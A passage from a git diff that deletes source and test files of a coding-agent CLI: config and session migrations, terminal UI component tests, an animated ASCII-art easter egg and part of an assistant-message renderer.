(settings.apiKeys && typeof settings.apiKeys === "object") { - for (const [provider, key] of Object.entries(settings.apiKeys)) { - if (!migrated[provider] && typeof key === "string") { - migrated[provider] = { type: "api_key", key }; - providers.push(provider); - } - } - delete settings.apiKeys; - writeFileSync(settingsPath, JSON.stringify(settings, null, 2)); - } - } catch { - // Skip on error - } - } - - if (Object.keys(migrated).length > 0) { - mkdirSync(dirname(authPath), { recursive: true }); - writeFileSync(authPath, JSON.stringify(migrated, null, 2), { mode: 0o600 }); - } - - return providers; -} - -/** - * Migrate sessions from ~/.pi/agent/*.jsonl to proper session directories. - * - * Bug in v0.30.0: Sessions were saved to ~/.pi/agent/ instead of - * ~/.pi/agent/sessions//. This migration moves them - * to the correct location based on the cwd in their session header. - * - * See: https://github.com/badlogic/pi-mono/issues/320 - */ -function migrateSessionsFromAgentRoot(): void { - const agentDir = getAgentDir(); - - // Find all .jsonl files directly in agentDir (not in subdirectories) - let files: string[]; - try { - files = readdirSync(agentDir) - .filter((f) => f.endsWith(".jsonl")) - .map((f) => join(agentDir, f)); - } catch { - return; - } - - if (files.length === 0) return; - - for (const file of files) { - try { - // Read first line to get session header - const content = readFileSync(file, "utf8"); - const firstLine = content.split("\n")[0]; - if (!firstLine?.trim()) continue; - - const header = JSON.parse(firstLine); - if (header.type !== "session" || !header.cwd) continue; - - const cwd: string = header.cwd; - - // Compute the correct session directory (same encoding as session-manager.ts) - const safePath = `--${cwd.replace(/^[/\\]/, "").replace(/[/\\:]/g, "-")}--`; - const correctDir = join(agentDir, "sessions", safePath); - - // Create directory if needed - if (!existsSync(correctDir)) { - mkdirSync(correctDir, { recursive: true }); - } - - // Move the file - const fileName = file.split("/").pop() || file.split("\\").pop(); - const newPath = join(correctDir, fileName!); - - if (existsSync(newPath)) continue; // Skip if target exists - - renameSync(file, newPath); - } catch { - // Skip files that can't be migrated - } - } -} - -/** - * Migrate commands/ to prompts/ if needed. - * Works for both regular directories and symlinks. - */ -function migrateCommandsToPrompts(baseDir: string, label: string): boolean { - const commandsDir = join(baseDir, "commands"); - const promptsDir = join(baseDir, "prompts"); - - if (existsSync(commandsDir) && !existsSync(promptsDir)) { - try { - renameSync(commandsDir, promptsDir); - console.log(chalk.green(`Migrated ${label} commands/ → prompts/`)); - return true; - } catch (err) { - console.log( - chalk.yellow( - `Warning: Could not migrate ${label} commands/ to prompts/: ${err instanceof Error ? err.message : err}`, - ), - ); - } - } - return false; -} - -/** - * Move fd/rg binaries from tools/ to bin/ if they exist. - */ -function migrateToolsToBin(): void { - const agentDir = getAgentDir(); - const toolsDir = join(agentDir, "tools"); - const binDir = getBinDir(); - - if (!existsSync(toolsDir)) return; - - const binaries = ["fd", "rg", "fd.exe", "rg.exe"]; - let movedAny = false; - - for (const bin of binaries) { - const oldPath = join(toolsDir, bin); - const newPath = join(binDir, bin); - - if (existsSync(oldPath)) { - if (!existsSync(binDir)) { - mkdirSync(binDir, { recursive: true }); - } - if (!existsSync(newPath)) { - try { - renameSync(oldPath, newPath); - movedAny = true; - } catch { - // Ignore errors - } - } else { - // Target exists, just delete the old one - try { - rmSync?.(oldPath, { force: true }); - } catch { - // Ignore - } - } - } - } - - if (movedAny) { - console.log(chalk.green(`Migrated managed binaries tools/ → bin/`)); - } -} - -/** - * Check for deprecated hooks/ and tools/ directories. - * Note: tools/ may contain fd/rg binaries extracted by pi, so only warn if it has other files. - */ -function checkDeprecatedExtensionDirs( - baseDir: string, - label: string, -): string[] { - const hooksDir = join(baseDir, "hooks"); - const toolsDir = join(baseDir, "tools"); - const warnings: string[] = []; - - if (existsSync(hooksDir)) { - warnings.push( - `${label} hooks/ directory found. Hooks have been renamed to extensions.`, - ); - } - - if (existsSync(toolsDir)) { - // Check if tools/ contains anything other than fd/rg (which are auto-extracted binaries) - try { - const entries = readdirSync(toolsDir); - const customTools = entries.filter((e) => { - const lower = e.toLowerCase(); - return ( - lower !== "fd" && - lower !== "rg" && - lower !== "fd.exe" && - lower !== "rg.exe" && - !e.startsWith(".") // Ignore .DS_Store and other hidden files - ); - }); - if (customTools.length > 0) { - warnings.push( - `${label} tools/ directory contains custom tools. Custom tools have been merged into extensions.`, - ); - } - } catch { - // Ignore read errors - } - } - - return warnings; -} - -/** - * Run extension system migrations (commands→prompts) and collect warnings about deprecated directories. - */ -function migrateExtensionSystem(cwd: string): string[] { - const agentDir = getAgentDir(); - const projectDir = join(cwd, CONFIG_DIR_NAME); - - // Migrate commands/ to prompts/ - migrateCommandsToPrompts(agentDir, "Global"); - migrateCommandsToPrompts(projectDir, "Project"); - - // Check for deprecated directories - const warnings = [ - ...checkDeprecatedExtensionDirs(agentDir, "Global"), - ...checkDeprecatedExtensionDirs(projectDir, "Project"), - ]; - - return warnings; -} - -/** - * Print deprecation warnings. Non-blocking — does not wait for keypress so - * stdin state is not disturbed before the TUI initialises its own raw-mode - * handler. The warnings remain visible in the scrollback above the TUI. - */ -export async function showDeprecationWarnings( - warnings: string[], -): Promise { - if (warnings.length === 0) return; - - for (const warning of warnings) { - console.log(chalk.yellow(`Warning: ${warning}`)); - } - console.log( - chalk.yellow(`\nMove your extensions to the extensions/ directory.`), - ); - console.log(chalk.yellow(`Migration guide: ${MIGRATION_GUIDE_URL}`)); - console.log(chalk.yellow(`Documentation: ${EXTENSIONS_DOC_URL}`)); - console.log(); -} - -/** - * Run all migrations. Called once on startup. - * - * @returns Object with migration results and deprecation warnings - */ -export function runMigrations(cwd: string = process.cwd()): { - migratedAuthProviders: string[]; - deprecationWarnings: string[]; -} { - const migratedAuthProviders = migrateAuthToAuthJson(); - migrateSessionsFromAgentRoot(); - migrateToolsToBin(); - const deprecationWarnings = migrateExtensionSystem(cwd); - return { migratedAuthProviders, deprecationWarnings }; -} diff --git a/packages/pi-coding-agent/src/modes/index.ts b/packages/pi-coding-agent/src/modes/index.ts deleted file mode 100644 index 6e6104c11..000000000 --- a/packages/pi-coding-agent/src/modes/index.ts +++ /dev/null @@ -1,24 +0,0 @@ -/** - * Run modes for the coding agent. - */ - -export { - InteractiveMode, - type InteractiveModeOptions, -} from "./interactive/interactive-mode.js"; -export { type PrintModeOptions, runPrintMode } from "./print-mode.js"; -export { - type ModelInfo, - RpcClient, - type RpcClientOptions, - type RpcEventListener, -} from "./rpc/rpc-client.js"; -export { runRpcMode } from "./rpc/rpc-mode.js"; -export type { - RpcCommand, - RpcInitResult, - RpcProtocolVersion, - RpcResponse, - RpcSessionState, - RpcV2Event, -} from "./rpc/rpc-types.js"; diff --git a/packages/pi-coding-agent/src/modes/interactive/autoreload-contract.test.ts b/packages/pi-coding-agent/src/modes/interactive/autoreload-contract.test.ts deleted file mode 100644 index 590792eaf..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/autoreload-contract.test.ts +++ /dev/null @@ -1,31 +0,0 @@ -import assert from "node:assert/strict"; -import { readFileSync } from "node:fs"; -import { join } from "node:path"; -import { test } from "vitest"; - -const source = readFileSync( - join( - process.cwd(), - "packages/pi-coding-agent/src/modes/interactive/interactive-mode.ts", - ), - "utf-8", -); - -test("interactive_tui_autoreload_uses_existing_reload_path", () => { - assert.match( - source, - /Purpose: make the TUI pick up SF's own code\/resource fixes/, - ); - assert.match(source, /private startAutoReloadWatcher\(\): void/); - assert.match(source, /private async checkAutoReload\(\): Promise/); - assert.match(source, /await this\.handleReloadCommand\(\)/); -}); - -test("interactive_tui_runtime_reload_exits_for_launcher_restart", () => { - const reloadStart = source.indexOf("private async handleReloadCommand()"); - assert.ok(reloadStart >= 0, "handleReloadCommand should exist"); - const reloadBody = source.slice(reloadStart, reloadStart + 1200); - - assert.match(reloadBody, /computeInteractiveRuntimeFingerprint\(\)/); - assert.match(reloadBody, /process\.exit\(INTERACTIVE_RELOAD_EXIT_CODE\)/); -}); diff --git a/packages/pi-coding-agent/src/modes/interactive/components/__tests__/login-dialog.test.ts b/packages/pi-coding-agent/src/modes/interactive/components/__tests__/login-dialog.test.ts deleted file mode 100644 index be086667c..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/__tests__/login-dialog.test.ts +++ /dev/null @@ -1,30 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, test } from "vitest"; -import { buildAuthUrlPresentation } from "../login-dialog.js"; - -describe("LoginDialogComponent", () => { - test("shows the full OAuth URL when the hyperlink label is truncated", () => { - const presentation = buildAuthUrlPresentation( - "https://auth.example.com/device?code=ABCD-1234&callback=oauth&state=needs-full-visibility", - 52, - ); - - assert.notEqual( - presentation.displayUrl, - "https://auth.example.com/device?code=ABCD-1234&callback=oauth&state=needs-full-visibility", - "narrow terminals should still truncate the hyperlink label", - ); - assert.ok( - presentation.fullUrlLines.length > 1, - "truncated URLs should expose wrapped full-url lines", - ); - assert.match( - presentation.fullUrlLines[0] ?? "", - /https:\/\/auth\.example\.com\/device\?code=ABCD-1234&/, - ); - assert.match( - presentation.fullUrlLines[presentation.fullUrlLines.length - 1] ?? "", - /state=needs-full-visibility/, - ); - }); -}); diff --git a/packages/pi-coding-agent/src/modes/interactive/components/__tests__/provider-display-name.test.ts b/packages/pi-coding-agent/src/modes/interactive/components/__tests__/provider-display-name.test.ts deleted file mode 100644 index 093de46e5..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/__tests__/provider-display-name.test.ts +++ /dev/null @@ -1,19 +0,0 @@ -// SF — Provider display name mapping tests - -import assert from "node:assert/strict"; -import { describe, test } from "vitest"; -import { providerDisplayName } from "../model-selector.js"; - -describe("providerDisplayName", () => { - test("renames 'anthropic' to 'anthropic-api'", () => { - assert.equal(providerDisplayName("anthropic"), "anthropic-api"); - }); - - test("passes through unmapped providers unchanged", () => { - assert.equal(providerDisplayName("claude-code"), "claude-code"); - assert.equal(providerDisplayName("openai"), "openai"); - assert.equal(providerDisplayName("bedrock"), "bedrock"); - assert.equal(providerDisplayName("github-copilot"), "github-copilot"); - assert.equal(providerDisplayName("openrouter"), "openrouter"); - }); -}); diff --git a/packages/pi-coding-agent/src/modes/interactive/components/__tests__/timestamp.test.ts b/packages/pi-coding-agent/src/modes/interactive/components/__tests__/timestamp.test.ts deleted file mode 100644 index 350c03a30..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/__tests__/timestamp.test.ts +++ /dev/null @@ -1,41 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, test } from "vitest"; -import { formatTimestamp } from "../timestamp.js"; - -describe("formatTimestamp", () => { - // Use a fixed local timestamp to avoid timezone issues - const d = new Date(2026, 2, 24, 10, 34, 0); // Mar 24, 2026 10:34:00 local time - const ts = d.getTime(); - - test("date-time-iso format (default)", () => { - assert.equal(formatTimestamp(ts, "date-time-iso"), "2026-03-24 10:34"); - assert.equal(formatTimestamp(ts), "2026-03-24 10:34"); // default - }); - - test("date-time-us format", () => { - assert.equal(formatTimestamp(ts, "date-time-us"), "03-24-2026 10:34 AM"); - }); - - test("US format handles PM correctly", () => { - const pm = new Date(2026, 2, 24, 14, 5, 0).getTime(); - assert.equal(formatTimestamp(pm, "date-time-us"), "03-24-2026 2:05 PM"); - }); - - test("US format handles noon as 12 PM", () => { - const noon = new Date(2026, 2, 24, 12, 0, 0).getTime(); - assert.equal(formatTimestamp(noon, "date-time-us"), "03-24-2026 12:00 PM"); - }); - - test("US format handles midnight as 12 AM", () => { - const midnight = new Date(2026, 2, 24, 0, 0, 0).getTime(); - assert.equal( - formatTimestamp(midnight, "date-time-us"), - "03-24-2026 12:00 AM", - ); - }); - - test("ISO format pads single digit months and days", () => { - const jan1 = new Date(2026, 0, 1, 9, 5, 0).getTime(); - assert.equal(formatTimestamp(jan1, "date-time-iso"), "2026-01-01 09:05"); - }); -}); diff --git a/packages/pi-coding-agent/src/modes/interactive/components/__tests__/tool-execution.test.ts b/packages/pi-coding-agent/src/modes/interactive/components/__tests__/tool-execution.test.ts deleted file mode 100644 index ae2bdb3cc..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/__tests__/tool-execution.test.ts +++ /dev/null @@ -1,155 +0,0 @@ -import assert from "node:assert/strict"; -import stripAnsi from "strip-ansi"; -import { describe, test } from "vitest"; -import { initTheme } from "../../theme/theme.js"; -import { ToolExecutionComponent } from "../tool-execution.js"; - -initTheme("dark", false); - -function renderTool( - toolName: string, - args: Record, - result?: { - content: Array<{ type: string; text?: string }>; - isError: boolean; - details?: Record; - }, - toolDefinition?: { label?: string }, - options: { startedAt?: number } = {}, -): string { - const component = new ToolExecutionComponent( - toolName, - args, - options, - toolDefinition as any, - { requestRender() {} } as any, - ); - component.setExpanded(true); - if (result) component.updateResult(result); - return stripAnsi(component.render(120).join("\n")); -} - -function renderToolCollapsed( - toolName: string, - args: Record, - result?: { - content: Array<{ type: string; text?: string }>; - isError: boolean; - details?: Record; - }, -): string { - const component = new ToolExecutionComponent(toolName, args, {}, undefined, { - requestRender() {}, - } as any); - if (result) component.updateResult(result); - return stripAnsi(component.render(120).join("\n")); -} - -describe("ToolExecutionComponent", () => { - test("renders capitalized adapter Bash tool names with bash output instead of generic args JSON", () => { - const rendered = renderTool( - "Bash", - { command: "pwd" }, - { content: [{ type: "text", text: "/tmp/sf-pr-fix" }], isError: false }, - ); - - assert.match(rendered, /\$ pwd/); - assert.match(rendered, /\/tmp\/sf-pr-fix/); - assert.doesNotMatch(rendered, /^\{\s*\}$/m); - }); - - test("renders capitalized adapter Read tool names with read output", () => { - const rendered = renderTool( - "Read", - { path: "/tmp/demo.txt" }, - { content: [{ type: "text", text: "hello\nworld" }], isError: false }, - ); - - assert.match(rendered, /read .*demo\.txt/); - assert.match(rendered, /hello/); - assert.match(rendered, /world/); - }); - - test("generic fallback strips mcp____ prefix and shows server·tool title", () => { - const rendered = renderTool( - "mcp__context7__resolve_library_id", - { name: "react" }, - { content: [{ type: "text", text: "react@18.3.1" }], isError: false }, - ); - - assert.match(rendered, /context7\u00b7resolve_library_id/); - assert.doesNotMatch(rendered, /mcp__/); - assert.match(rendered, /name="react"/); - assert.match(rendered, /react@18\.3\.1/); - }); - - test("generic fallback renders compact key=value args for primitive args", () => { - const rendered = renderTool("some_unknown_tool", { - count: 3, - enabled: true, - label: "hello", - }); - - assert.match(rendered, /Some Unknown Tool/); - assert.doesNotMatch(rendered, /some_unknown_tool/); - assert.match(rendered, /count=3/); - assert.match(rendered, /enabled=true/); - assert.match(rendered, /label="hello"/); - assert.doesNotMatch(rendered, /^\{$/m); - }); - - test("generic fallback truncates long output when collapsed", () => { - const longOutput = Array.from( - { length: 25 }, - (_, i) => `line ${i + 1}`, - ).join("\n"); - const rendered = renderToolCollapsed( - "mcp__demo__do_thing", - { ok: true }, - { content: [{ type: "text", text: longOutput }], isError: false }, - ); - - assert.match(rendered, /line 1\b/); - assert.match(rendered, /line 10\b/); - assert.doesNotMatch(rendered, /line 20\b/); - assert.match(rendered, /\(15 more lines/); - }); - - test("generic fallback falls back to truncated JSON for complex args", () => { - const rendered = renderTool("mcp__demo__nested", { - payload: { nested: { deeply: ["a", "b", "c"] } }, - name: "x", - }); - - assert.match(rendered, /demo\u00b7nested/); - // Multi-line JSON dump for the complex payload - assert.match(rendered, /"payload"/); - assert.match(rendered, /"nested"/); - }); - - test("custom tools without renderers use registered labels instead of raw ids", () => { - const rendered = renderTool( - "sf_plan_milestone", - { milestoneId: "M001" }, - undefined, - { label: "Plan Milestone" }, - ); - - assert.match(rendered, /Tool Plan Milestone/); - assert.match(rendered, /Plan Milestone/); - assert.doesNotMatch(rendered, /sf_plan_milestone/); - }); - - test("tool frame header includes ISO minute timestamp", () => { - const startedAt = new Date(2026, 4, 8, 20, 51, 0).getTime(); - const rendered = renderTool( - "Read", - { path: "/tmp/demo.txt" }, - undefined, - undefined, - { startedAt }, - ); - - assert.match(rendered, /2026-05-08 20:51/); - }); -}); diff --git a/packages/pi-coding-agent/src/modes/interactive/components/armin.ts b/packages/pi-coding-agent/src/modes/interactive/components/armin.ts deleted file mode 100644 index dd8b85c23..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/armin.ts +++ /dev/null @@ -1,424 +0,0 @@ -/** - * Armin says hi! A fun easter egg with animated XBM art. - */ - -import { - type Component, - type TUI, - visibleWidth, -} from "@singularity-forge/pi-tui"; -import { theme } from "../theme/theme.js"; - -// XBM image: 31x36 pixels, LSB first, 1=background, 0=foreground -const WIDTH = 31; -const HEIGHT = 36; -const BITS = [ - 0xff, 0xff, 0xff, 0x7f, 0xff, 0xf0, 0xff, 0x7f, 0xff, 0xed, 0xff, 0x7f, 0xff, - 0xdb, 0xff, 0x7f, 0xff, 0xb7, 0xff, 0x7f, 0xff, 0x77, 0xfe, 0x7f, 0x3f, 0xf8, - 0xfe, 0x7f, 0xdf, 0xff, 0xfe, 0x7f, 0xdf, 0x3f, 0xfc, 0x7f, 0x9f, 0xc3, 0xfb, - 0x7f, 0x6f, 0xfc, 0xf4, 0x7f, 0xf7, 0x0f, 0xf7, 0x7f, 0xf7, 0xff, 0xf7, 0x7f, - 0xf7, 0xff, 0xe3, 0x7f, 0xf7, 0x07, 0xe8, 0x7f, 0xef, 0xf8, 0x67, 0x70, 0x0f, - 0xff, 0xbb, 0x6f, 0xf1, 0x00, 0xd0, 0x5b, 0xfd, 0x3f, 0xec, 0x53, 0xc1, 0xff, - 0xef, 0x57, 0x9f, 0xfd, 0xee, 0x5f, 0x9f, 0xfc, 0xae, 0x5f, 0x1f, 0x78, 0xac, - 0x5f, 0x3f, 0x00, 0x50, 0x6c, 0x7f, 0x00, 0xdc, 0x77, 0xff, 0xc0, 0x3f, 0x78, - 0xff, 0x01, 0xf8, 0x7f, 0xff, 0x03, 0x9c, 0x78, 0xff, 0x07, 0x8c, 0x7c, 0xff, - 0x0f, 0xce, 0x78, 0xff, 0xff, 0xcf, 0x7f, 0xff, 0xff, 0xcf, 0x78, 0xff, 0xff, - 0xdf, 0x78, 0xff, 0xff, 0xdf, 0x7d, 0xff, 0xff, 0x3f, 0x7e, 0xff, 0xff, 0xff, - 0x7f, -]; - -const BYTES_PER_ROW = Math.ceil(WIDTH / 8); -const DISPLAY_HEIGHT = Math.ceil(HEIGHT / 2); // Half-block rendering - -type Effect = - | "typewriter" - | "scanline" - | "rain" - | "fade" - | "crt" - | "glitch" - | "dissolve"; - -const EFFECTS: Effect[] = [ - "typewriter", - "scanline", - "rain", - "fade", - "crt", - "glitch", - "dissolve", -]; - -// Get pixel at (x, y): true = foreground, false = background -function getPixel(x: number, y: number): boolean { - if (y >= HEIGHT) return false; - const byteIndex = y * BYTES_PER_ROW + Math.floor(x / 8); - const bitIndex = x % 8; - return ((BITS[byteIndex] >> bitIndex) & 1) === 0; -} - -// Get the character for a cell (2 vertical pixels packed) -function getChar(x: number, row: number): string { - const upper = getPixel(x, row * 2); - const lower = getPixel(x, row * 2 + 1); - if (upper && lower) return "█"; - if (upper) return "▀"; - if (lower) return "▄"; - return " "; -} - -// Build the final image grid -function buildFinalGrid(): string[][] { - const grid: string[][] = []; - for (let row = 0; row < DISPLAY_HEIGHT; row++) { - const line: string[] = []; - for (let x = 0; x < WIDTH; x++) { - line.push(getChar(x, row)); - } - grid.push(line); - } - return grid; -} - -export class ArminComponent implements Component { - private ui: TUI; - private interval: ReturnType | null = null; - private effect: Effect; - private finalGrid: string[][]; - private currentGrid: string[][]; - private effectState: Record = {}; - private cachedLines: string[] = []; - private cachedWidth = 0; - private gridVersion = 0; - private cachedVersion = -1; - - constructor(ui: TUI) { - this.ui = ui; - this.effect = EFFECTS[Math.floor(Math.random() * EFFECTS.length)]; - this.finalGrid = buildFinalGrid(); - this.currentGrid = this.createEmptyGrid(); - - this.initEffect(); - this.startAnimation(); - } - - invalidate(): void { - this.cachedWidth = 0; - } - - render(width: number): string[] { - if (width === this.cachedWidth && this.cachedVersion === this.gridVersion) { - return this.cachedLines; - } - - const center = (s: string) => { - const visible = visibleWidth(s); - const left = Math.max(0, Math.floor((width - visible) / 2)); - return " ".repeat(left) + s; - }; - - this.cachedLines = this.currentGrid.map((row) => { - const clipped = row.slice(0, width).join(""); - return center(theme.fg("accent", clipped)); - }); - - // Add "ARMIN SAYS HI" at the end - const message = "ARMIN SAYS HI"; - this.cachedLines.push(center(theme.fg("accent", message))); - - this.cachedWidth = width; - this.cachedVersion = this.gridVersion; - - return this.cachedLines; - } - - private createEmptyGrid(): string[][] { - return Array.from({ length: DISPLAY_HEIGHT }, () => Array(WIDTH).fill(" ")); - } - - private initEffect(): void { - switch (this.effect) { - case "typewriter": - this.effectState = { pos: 0 }; - break; - case "scanline": - this.effectState = { row: 0 }; - break; - case "rain": - // Track falling position for each column - this.effectState = { - drops: Array.from({ length: WIDTH }, () => ({ - y: -Math.floor(Math.random() * DISPLAY_HEIGHT * 2), - settled: 0, - })), - }; - break; - case "fade": { - // Shuffle all pixel positions - const positions: [number, number][] = []; - for (let row = 0; row < DISPLAY_HEIGHT; row++) { - for (let x = 0; x < WIDTH; x++) { - positions.push([row, x]); - } - } - // Fisher-Yates shuffle - for (let i = positions.length - 1; i > 0; i--) { - const j = Math.floor(Math.random() * (i + 1)); - [positions[i], positions[j]] = [positions[j], positions[i]]; - } - this.effectState = { positions, idx: 0 }; - break; - } - case "crt": - this.effectState = { expansion: 0 }; - break; - case "glitch": - this.effectState = { phase: 0, glitchFrames: 8 }; - break; - case "dissolve": { - // Start with random noise - this.currentGrid = Array.from({ length: DISPLAY_HEIGHT }, () => - Array.from({ length: WIDTH }, () => { - const chars = [" ", "░", "▒", "▓", "█", "▀", "▄"]; - return chars[Math.floor(Math.random() * chars.length)]; - }), - ); - // Shuffle positions for gradual resolve - const dissolvePositions: [number, number][] = []; - for (let row = 0; row < DISPLAY_HEIGHT; row++) { - for (let x = 0; x < WIDTH; x++) { - dissolvePositions.push([row, x]); - } - } - for (let i = dissolvePositions.length - 1; i > 0; i--) { - const j = Math.floor(Math.random() * (i + 1)); - [dissolvePositions[i], dissolvePositions[j]] = [ - dissolvePositions[j], - dissolvePositions[i], - ]; - } - this.effectState = { positions: dissolvePositions, idx: 0 }; - break; - } - } - } - - private startAnimation(): void { - const fps = this.effect === "glitch" ? 60 : 30; - this.interval = setInterval(() => { - const done = this.tickEffect(); - this.updateDisplay(); - this.ui.requestRender(); - if (done) { - this.stopAnimation(); - } - }, 1000 / fps); - } - - private stopAnimation(): void { - if (this.interval) { - clearInterval(this.interval); - this.interval = null; - } - } - - private tickEffect(): boolean { - switch (this.effect) { - case "typewriter": - return this.tickTypewriter(); - case "scanline": - return this.tickScanline(); - case "rain": - return this.tickRain(); - case "fade": - return this.tickFade(); - case "crt": - return this.tickCrt(); - case "glitch": - return this.tickGlitch(); - case "dissolve": - return this.tickDissolve(); - default: - return true; - } - } - - private tickTypewriter(): boolean { - const state = this.effectState as { pos: number }; - const pixelsPerFrame = 3; - - for (let i = 0; i < pixelsPerFrame; i++) { - const row = Math.floor(state.pos / WIDTH); - const x = state.pos % WIDTH; - if (row >= DISPLAY_HEIGHT) return true; - this.currentGrid[row][x] = this.finalGrid[row][x]; - state.pos++; - } - return false; - } - - private tickScanline(): boolean { - const state = this.effectState as { row: number }; - if (state.row >= DISPLAY_HEIGHT) return true; - - // Copy row - for (let x = 0; x < WIDTH; x++) { - this.currentGrid[state.row][x] = this.finalGrid[state.row][x]; - } - state.row++; - return false; - } - - private tickRain(): boolean { - const state = this.effectState as { - drops: { y: number; settled: number }[]; - }; - - let allSettled = true; - this.currentGrid = this.createEmptyGrid(); - - for (let x = 0; x < WIDTH; x++) { - const drop = state.drops[x]; - - // Draw settled pixels - for ( - let row = DISPLAY_HEIGHT - 1; - row >= DISPLAY_HEIGHT - drop.settled; - row-- - ) { - if (row >= 0) { - this.currentGrid[row][x] = this.finalGrid[row][x]; - } - } - - // Check if this column is done - if (drop.settled >= DISPLAY_HEIGHT) continue; - - allSettled = false; - - // Find the target row for this column (lowest non-space pixel) - let targetRow = -1; - for (let row = DISPLAY_HEIGHT - 1 - drop.settled; row >= 0; row--) { - if (this.finalGrid[row][x] !== " ") { - targetRow = row; - break; - } - } - - // Move drop down - drop.y++; - - // Draw falling drop - if (drop.y >= 0 && drop.y < DISPLAY_HEIGHT) { - if (targetRow >= 0 && drop.y >= targetRow) { - // Settle - drop.settled = DISPLAY_HEIGHT - targetRow; - drop.y = -Math.floor(Math.random() * 5) - 1; - } else { - // Still falling - this.currentGrid[drop.y][x] = "▓"; - } - } - } - - return allSettled; - } - - private tickFade(): boolean { - const state = this.effectState as { - positions: [number, number][]; - idx: number; - }; - const pixelsPerFrame = 15; - - for (let i = 0; i < pixelsPerFrame; i++) { - if (state.idx >= state.positions.length) return true; - const [row, x] = state.positions[state.idx]; - this.currentGrid[row][x] = this.finalGrid[row][x]; - state.idx++; - } - return false; - } - - private tickCrt(): boolean { - const state = this.effectState as { expansion: number }; - const midRow = Math.floor(DISPLAY_HEIGHT / 2); - - this.currentGrid = this.createEmptyGrid(); - - // Draw from middle expanding outward - const top = midRow - state.expansion; - const bottom = midRow + state.expansion; - - for ( - let row = Math.max(0, top); - row <= Math.min(DISPLAY_HEIGHT - 1, bottom); - row++ - ) { - for (let x = 0; x < WIDTH; x++) { - this.currentGrid[row][x] = this.finalGrid[row][x]; - } - } - - state.expansion++; - return state.expansion > DISPLAY_HEIGHT; - } - - private tickGlitch(): boolean { - const state = this.effectState as { phase: number; glitchFrames: number }; - - if (state.phase < state.glitchFrames) { - // Glitch phase: show corrupted version - this.currentGrid = this.finalGrid.map((row) => { - const offset = Math.floor(Math.random() * 7) - 3; - const glitchRow = [...row]; - - // Random horizontal offset - if (Math.random() < 0.3) { - const shifted = glitchRow - .slice(offset) - .concat(glitchRow.slice(0, offset)); - return shifted.slice(0, WIDTH); - } - - // Random vertical swap - if (Math.random() < 0.2) { - const swapRow = Math.floor(Math.random() * DISPLAY_HEIGHT); - return [...this.finalGrid[swapRow]]; - } - - return glitchRow; - }); - state.phase++; - return false; - } - - // Final frame: show clean image - this.currentGrid = this.finalGrid.map((row) => [...row]); - return true; - } - - private tickDissolve(): boolean { - const state = this.effectState as { - positions: [number, number][]; - idx: number; - }; - const pixelsPerFrame = 20; - - for (let i = 0; i < pixelsPerFrame; i++) { - if (state.idx >= state.positions.length) return true; - const [row, x] = state.positions[state.idx]; - this.currentGrid[row][x] = this.finalGrid[row][x]; - state.idx++; - } - return false; - } - - private updateDisplay(): void { - this.gridVersion++; - } - - dispose(): void { - this.stopAnimation(); - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/assistant-message.ts b/packages/pi-coding-agent/src/modes/interactive/components/assistant-message.ts deleted file mode 100644 index 6dfeee9f3..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/assistant-message.ts +++ /dev/null @@ -1,210 +0,0 @@ -import type { AssistantMessage } from "@singularity-forge/pi-ai"; -import { - Container, - Markdown, - type MarkdownTheme, - Spacer, - Text, -} from "@singularity-forge/pi-tui"; -import { getMarkdownTheme, theme } from "../theme/theme.js"; -import { formatTimestamp, type TimestampFormat } from "./timestamp.js"; - -export interface ContentRange { - startIndex: number; - endIndex: number; -} - -/** - * Component that renders a complete assistant message, or a sub-range of its content[]. - * When `range` is provided, only content[startIndex..endIndex] (inclusive) is rendered. - * Non-text/thinking blocks within the range are silently skipped. - */ -export class AssistantMessageComponent extends Container { - private contentContainer: Container; - private hideThinkingBlock: boolean; - private markdownTheme: MarkdownTheme; - private lastMessage?: AssistantMessage; - private timestampFormat: TimestampFormat; - private range?: ContentRange; - private showMetadata: boolean; - - constructor( - message?: AssistantMessage, - hideThinkingBlock = false, - markdownTheme: MarkdownTheme = getMarkdownTheme(), - timestampFormat: TimestampFormat = "date-time-iso", - range?: ContentRange, - ) { - super(); - - this.hideThinkingBlock = hideThinkingBlock; - this.markdownTheme = markdownTheme; - this.timestampFormat = timestampFormat; - this.range = range; - // No range = legacy full-message rendering; show metadata by default. - // Ranged (interleaved) instances start with metadata hidden; chat-controller - // calls setShowMetadata(true) on the last segment at message_end. - this.showMetadata = !range; - - // Container for text/thinking content - this.contentContainer = new Container(); - this.addChild(this.contentContainer); - - if (message) { - this.updateContent(message); - } - } - - setRange(range: ContentRange | undefined): void { - this.range = range; - if (this.lastMessage) { - this.updateContent(this.lastMessage); - } - } - - setShowMetadata(show: boolean): void { - this.showMetadata = show; - if (this.lastMessage) { - this.updateContent(this.lastMessage); - } - } - - override invalidate(): void { - super.invalidate(); - if (this.lastMessage) { - this.updateContent(this.lastMessage); - } - } - - setHideThinkingBlock(hide: boolean): void { - this.hideThinkingBlock = hide; - } - - updateContent(message: AssistantMessage): void { - this.lastMessage = message; - - // Clear content container - this.contentContainer.clear(); - - const start = this.range?.startIndex ?? 0; - const end = this.range?.endIndex ?? message.content.length - 1; - const slice = message.content.slice(start, end + 1); - - const hasVisibleContent = slice.some( - (c) => - (c.type === "text" && c.text.trim()) || - (c.type === "thinking" && c.thinking.trim()), - ); - const hasTextContent = message.content.some( - (c) => c.type === "text" && c.text.trim().length > 0, - ); - const hasToolContent = message.content.some( - (c) => c.type === "toolCall" || c.type === "serverToolUse", - ); - // Claude Code often emits long reasoning blocks ahead of user-visible text/tool - // output in the same lifecycle. Keep chat output visible without requiring a - // manual thinking toggle every turn. - const shouldCapThinking = - hasTextContent || hasToolContent || message.provider === "claude-code"; - - if (hasVisibleContent) { - this.contentContainer.addChild(new Spacer(1)); - } - - // Render content in order; non-text/thinking blocks are silently skipped - for (let i = 0; i < slice.length; i++) { - const content = slice[i]; - if (content.type === "text" && content.text.trim()) { - // Assistant text messages with no background - trim the text - // Set paddingY=0 to avoid extra spacing before tool executions - this.contentContainer.addChild( - new Markdown(content.text.trim(), 1, 0, this.markdownTheme), - ); - } else if (content.type === "thinking" && content.thinking.trim()) { - // Add spacing only when another visible assistant content block follows. - // This avoids a 